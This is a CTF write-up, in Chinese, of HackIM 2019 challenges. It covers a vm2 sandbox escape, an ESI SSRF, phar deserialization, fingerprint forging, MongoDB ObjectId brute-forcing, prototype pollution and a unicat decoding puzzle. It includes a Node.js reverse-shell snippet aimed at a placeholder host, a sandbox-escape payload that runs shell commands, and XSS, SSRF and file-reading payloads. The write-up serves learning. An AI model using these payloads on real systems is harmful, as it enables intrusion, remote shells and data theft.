hackim-2019 WriteUp

题目链接

Web

escape


可以看到是关于Node.JS沙箱逃逸的。
可以先查看目标模块的信息:

/run?js=Error().stack


可以看出题目设置的模块vm2。所以可能下面这个反弹shell的模块不适用:

(function () {
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(your_port, "your_ip", function () {
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

赛后看源码可以看出这里过滤了whilefor
可以去看github上的vm2模块的issue,里面也有很多提交的escapeexp,找一个使用:

var process;
try{
Object.defineProperty(Buffer.from(""),"",{
    value:new Proxy({},{
        getPrototypeOf(target){
            if(this.t)
                throw Buffer.from;
            this.t=true;
            return Object.getPrototypeOf(target);
        }
    })
});
}catch(e){
    process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("ls").toString()


cat iamnotwhatyouthink就可以得到flag

rvf

进去是一个输入框


有个admin界面。

提交输入后url变成:

/edge?title=123&description=%3Cimg+src%3D1+onerror%3Dalert%281%29%3E

可以触发XSS
尝试/edge?title=123&description[a]=1,可以看到触发了错误,得到一个esi.js的库。


查看官方示例

> ​ You want to embed the fragment of HTML from “[http://snipets.com/abc.html](http://snipets.com/abc.html)“ within an HTML document.
> 
> ```
> blah blah, oh and here i embed in the page a snipet using an ESI server ...
> <esi:include src="http://snipets.com/snipet.html"></esi:include>
> 
> ```
> 
> **snipet.html**
> 
> ```
> <b>Snipet</b>
> 
> ```
> 
> With Node ESI script, you can pre-process ESI tags.

可以推出这里应该需要SSRF。构造:

/edge?title=123&description=<esi:include src="http://127.0.0.1:8080"></esi:include>

成功返回了网页的内容。


访问下admin界面就能得到flag

http://192.168.241.137:8080/edge?title=123&description=<esi:include src="http://192.168.241.137:8080/admin"></esi:include>

mime_checkr


只允许上传jpeg文件格式。
存在一个getmime.bak文件,内容为:

<?php
//error_reporting(-1);
//ini_set('display_errors', 'On');

class CurlClass{
    public function httpGet($url) {
    $ch = curl_init();  
 
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//  curl_setopt($ch,CURLOPT_HEADER, false); 
 
    $output=curl_exec($ch);
 
    curl_close($ch);
    return $output;
 }
}


class MainClass {

    public function __destruct() {
        $this->why =new CurlClass;
        echo $this->url;
        echo $this->why->httpGet($this->url);
    }
}


// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_POST['name']);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
?>

看到curl__destruct(),且不存在unserialize()方法,所以可以想到要利用phar来反序列化。
这里要上传一个phar文件,然后通过phar://xx/xx来触发反序列化漏洞。
先尝试file:///etc/passwd,新建文件1.jpeg,里面写入内容:

<?php

class CurlClass
{
    public function httpGet($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
//  curl_setopt($ch,CURLOPT_HEADER, false); 

        $output = curl_exec($ch);

        curl_close($ch);
        return $output;
    }
}


class MainClass
{

    public function __destruct()
    {
        $this->why = new CurlClass;
        echo $this->url;
        echo $this->why->httpGet($this->url);
    }
}

$phar = new Phar("zedd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new MainClass();
$o->url = "file:///etc/passwd";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");  //添加要压缩的文件
    //签名自动计算
$phar->stopBuffering();
?>

然后进行上传,上传时候补齐图片头GIF89A。(看源码可以知道是补全图片头可以绕过getimagesize()函数)


得到路径,尝试访问phar://uploads/ff7cdfd583.jpeg/test.txt
成功获取file:///etc/passwd的内容。
/etc/hosts的文件中可以看到:

127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.3  24aa9f8f6376

当访问172.18.0.2时,返回了:

b'\xc8\x85\x93\x93\x96@a\x86\x85\xa3\x83\x88\xa1l\xad\xbd_|]M@@\x94\x85'

这是用pythonebcdic生成的东西,使用脚本解密,用的编码是cp1047

import ebcdic
blob=b'xc8x85x93x93x96@ax86x85xa3x83x88xa1lxadxbd_|]M@@x94x85'
print(blob.decode("cp1047"))

得到Hello /fetch~%[]^@)( me
再访问http://172.18.0.2/fetch~%25%5B%5D%5E%40)(得到同样的加密,再次使用脚本:

import ebcdic
blob=b'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0'
print(blob.decode("cp1047"))

得到flag

credz


网页源代码里有一句话:

remember me all the time, credz is not what you need luke

admin/admin就可以登录进去。提示:


可以看到主页调用了一个叫做bjs_1的函数:

有个/js/fps.jsbjs_1具体代码:

function bjs_1(e) {
    var r = new fpbrowser_v1,
        t = new fpbrowser_v1({
            canvas: !0
        }),
        n = r.get(),
        o = t.get(),
        i = n + "" + o,
        a = getbrowser(),
        d = new XMLHttpRequest,
        s = "trackuser.php",
        w = "m=" + i;
    w += "&token=" + e, w += "&b=" + a, d.open("POST", s, !0), d.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), d.onreadystatechange = function() {
        if (4 == d.readyState && 200 == d.status) {
            d.responseText;
            "index.php" == e && (document.getElementById("loaderDiv").innerHTML = "")
        }
    }, d.send(w)
}

所以访问主页也能抓到请求了一个trackuser.php的包。


bjs_1生成了两个fpbrowser_v1类,调用了其get函数的代码:

    Fingerprint.prototype = {
        get: function() {
            var keys = [];
            keys.push(navigator.userAgent);
            keys.push(navigator.language);
            keys.push(screen.colorDepth);
            if (this.screen_resolution) {
                var resolution = this.getScreenResolution();
                if (typeof resolution !== 'undefined') {
                    keys.push(resolution.join('x'))
                }
            }
            keys.push(new Date().getTimezoneOffset());
            keys.push(this.hasSessionStorage());
            keys.push(this.hasLocalStorage());
            keys.push(!!window.indexedDB);
            if (document.body) {
                keys.push(typeof(document.body.addBehavior))
            } else {
                keys.push(typeof undefined)
            }
            keys.push(typeof(window.openDatabase));
            keys.push(navigator.cpuClass);
            keys.push(navigator.platform);
            keys.push(navigator.doNotTrack);
            keys.push(this.getPluginsString());
            if (this.canvas && this.isCanvasSupported()) {
                keys.push(this.getCanvasFingerprint())
            }
            if (this.hasher) {
                return this.hasher(keys.join('###'), 31)
            } else {
                return this.fingerprint_js_browser(keys.join('###'), 31)
            }
  • navigator.language可以根据题目的描述Alice is a admin of abc company in india可以知道是Indian
  • navigator.userAgent可以根据hint知道是windows 10 chrome
  • getTimezoneOffset()India的时区。
  • getCanvasFingerprint()就是给出的图片:
data:image/png;base64,...

计算得到m的值为2656613544186699742
发包得到对应的cookie


再添加那个bf后请求login.php

访问/fea24a3a981cb8aa898dfbf30ccb4196/得到:

admin.php没权限访问,下载pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack,通过git tips来还原恢复:

$ git init
$ git unpack-objects < pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack
$ git fsck
$ git update-ref HEAD 29e3e14902aa1cc8caf8372c55e59f6720b5619b
$ git checkout 29e3e14902aa1cc8caf8372c55e59f6720b5619b

得到admin.php

<?php

if($_SESSION['go']){

$sp_php=explode('/', $_SERVER['PHP_SELF']);
$langfilename=$sp_php[count($sp_php)-1];

$pageListArray = array('index.php' => "1");

if($pageListArray [$langfilename]!=1){
        echo "not_authorized";
        Header("Location: index.php?not_authorized");
    
    }

else{
    echo "hackim19{}";
}
}

else{

    echo "you need to complete the first barrier";

}
?>

主要检查了index.php在不在里面,所以构造:admin.php/index.php

proton

访问提示:


访问/getPost后提示:

访问/getPOST?id=5c51b9c9144f813f31a4c0e2提示:

输入单引号有报错信息:

Hint有提示:

* mango can be eaten in 60 seconds
* Mongo Mongo Mongo !!! and this is not a sql Injection

所以这里注入没用。
因为这是Node.js的站,使用之前的办法引出报错信息:/getPost?id[]=1


提示了后端数据库使用了MongodbMongodb中有一个叫做ObjectId的概念。
ObjectId是一个12字节的BSON数据类型,结构为:

  • 前4个字节是自unix时代以来的秒数。
  • 接下来的3个字节是机器标识符。
  • 接下来的2个字节是进程ID。
  • 最后3个字节是计数器值。随机值。

而给我们的id正好是12字节的。根据第一个提示时间差小于60s来尝试爆破:

import requests

url = 'http://localhost:4545/getPOST?id=%s144f813f31%s'  
time = 0x5c51b9c9  
counter = 0xa4c0e2

for i in range(100):  
    counter = hex(counter - 1)[2:]
    for i in range(1000000):
        time = hex(time - 1)[2:] 
        nurl = url % (time, counter)
        res = requests.get(nurl)
        if 'Not found' not in res.text:
            print(res.text, nurl)
            time = int(time, 16)
            counter = int(counter, 16)
            break
        time = int(time, 16)

id=5c51b911144f813f31a4c0df得到关键信息:


访问/4f34685f64ec9b82ea014bda3274b0df/得到源码:

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a,b){
 for (var attr in b){   
   if(isObject(a[attr]) && isObject(b[attr])){
      merge(a[attr],b[attr]);
   }
   else{
    a[attr] = b[attr];
 }
 }  
 return a 
} 

function clone(a){
  return merge({},a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')))

app.post('/signup', (req, res) => {
  var body = JSON.parse(JSON.stringify(req.body));
  var copybody = clone(body)
  if(copybody.name){
      res.cookie('name', copybody.name).json({"done":"cookie set"}); 
  }
  else{
    res.json({"error":"cookie not set"})
  }
});

app.get('/getFlag', (req, res) => {


     var аdmin=JSON.parse(JSON.stringify(req.cookies))
    
    if(admin.аdmin==1){
      res.send("hackim19{}");
    }
    else{
      res.send("You are not authorized"); 
    }


});


app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

要满足admin.аdmin等于1。因为__proto__是一个Object,会递归进入merge(),由于__proto__有一对key-value,所以会判断__proto__["admin"]是否是Object,不是就进入else,对原型__proto__["admin"]赋值为1,这就完成了原型链污染的操作。
最后访问/getFlag就能拿到flag

hackim19{Prototype_for_the_win}
function merge(a,b){
 for (var attr in b){   
   if(isObject(a[attr]) && isObject(b[attr])){
      merge(a[attr],b[attr]);
   }
   else{
    a[attr] = b[attr];
 }
 }  
 return a 
} 

Misc

cat

打开看到一堆猫猫的图片。


这个实际上用到了unicat编程语言,可以把字符串转换成表情。
可以通过这个项目里的cat.py来还原。
尝试还原:

$ python cat.py final
[('inputst',1),('diepgrm',),('asgnlit', 1, 1),('asgnlit', 4, 1),('asgnlit', 10, 7),('echoval', 2),('pointer',4,4),('echoval',4),('applop+', 10, 1),('echoval',10),('asgnlit', 2, 72),('applop*', 2, 10),('echoval',2),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 65), ('echovar', 0),('asgnlit', 0, 119), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 115), ('echovar', 0),('asgnlit', 0, 48), ('echovar', 0),('asgnlit', 0, 109), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 95), ('echovar', 0),('asgnlit', 0, 67), ('echovar', 0),('asgnlit', 0, 64), ('echovar', 0),('asgnlit', 0, 84), ('echovar', 0)]

这些得到的只是指令,要创建一个脚本来自动解码。这里面开头的inputst是等待输入,diepgrm是终止并退出,所以要把这两个删除,不然永远卡住跑不出结果。
构造decode.py来解密:

import sys,random

ins=[('asgnlit', 1, 1),('asgnlit', 4, 1),('asgnlit', 10, 7),('echoval', 2),('pointer',4,4),('echoval',4),('applop+', 10, 1),('echoval',10),('asgnlit', 2, 72),('applop*', 2, 10),('echoval',2),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 65), ('echovar', 0),('asgnlit', 0, 119), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 115), ('echovar', 0),('asgnlit', 0, 48), ('echovar', 0),('asgnlit', 0, 109), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 95), ('echovar', 0),('asgnlit', 0, 67), ('echovar', 0),('asgnlit', 0, 64), ('echovar', 0),('asgnlit', 0, 84), ('echovar', 0)]
mem= {}

i = 0
while i<37:
    mem[-1]=mem.get(-1,-1)+1
    try: it = ins[mem[-1]]
    except IndexError: it = ("asgnlit",-1,-1)
    if it[0] == "diepgrm":
        sys.exit()
    if it[0] == "pointer":
        mem[it[1]]=mem.get(mem.get(it[1],0),0)
    if it[0] == "randomb":
        mem[it[1]]=random.randint(True,False)
    if it[0] == "asgnlit":
        mem[it[1]]=it[2]
    if it[0] == "jumpif>" and mem.get(it[1],0) > 0:
        mem[-1]=it[2]
    if it[0] == "applop+":
        mem[it[1]]=mem.get(it[1],0)+mem.get(it[2],0)
    if it[0] == "applop-":
        mem[it[1]]=mem.get(it[1],0)-mem.get(it[2],0)
    if it[0] == "applop/":
        mem[it[1]]=mem.get(it[1],0)/mem.get(it[2],0)
    if it[0] == "applop*":
        mem[it[1]]=mem.get(it[1],0)*mem.get(it[2],0)
    if it[0] == "echovar":
        sys.stdout.write(unichr(mem.get(it[1],0)))
    if it[0] == "echoval":
        sys.stdout.write(str(mem.get(it[1],0)))
    if it[0] == "inputst":
        inp = sys.stdin.readline()
        for k in range(it[1],it[1]+len(inp)):
            mem[k]=ord(inp[k-it[1]])
        mem[k+1]=0
    i = i+1

运行得到flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,491评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,856评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,745评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,196评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,073评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,112评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,531评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,215评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,485评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,578评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,356评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,215评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,583评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,898评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,174评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,497评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,697评论 2 335

推荐阅读更多精彩内容

  • 一路走来 你在的日子 已经习惯了! 一个眼神 一个动作 .......,....... 都已经习惯了! 习惯了你的...
    昊ge阅读 383评论 0 0
  • 2018年9月13日 星期四 晚上睡觉的时候,女儿突然哭了起来。我问她问什么哭,她说: “妈妈,我今天表现...
    韩明酉阅读 299评论 0 0
  • 不负时光不负卿 现在是2017年2月5日下午3:55分,我安安静静地坐在科兴C2 12楼写下自己2017年初始,自...
    gabrielalala阅读 484评论 0 1
  • 笑看红尘多情苦, 历尽凡世亦罔顾。 应识当下好时节, 花锦叶茂相映姝。
    墨度阅读 212评论 0 8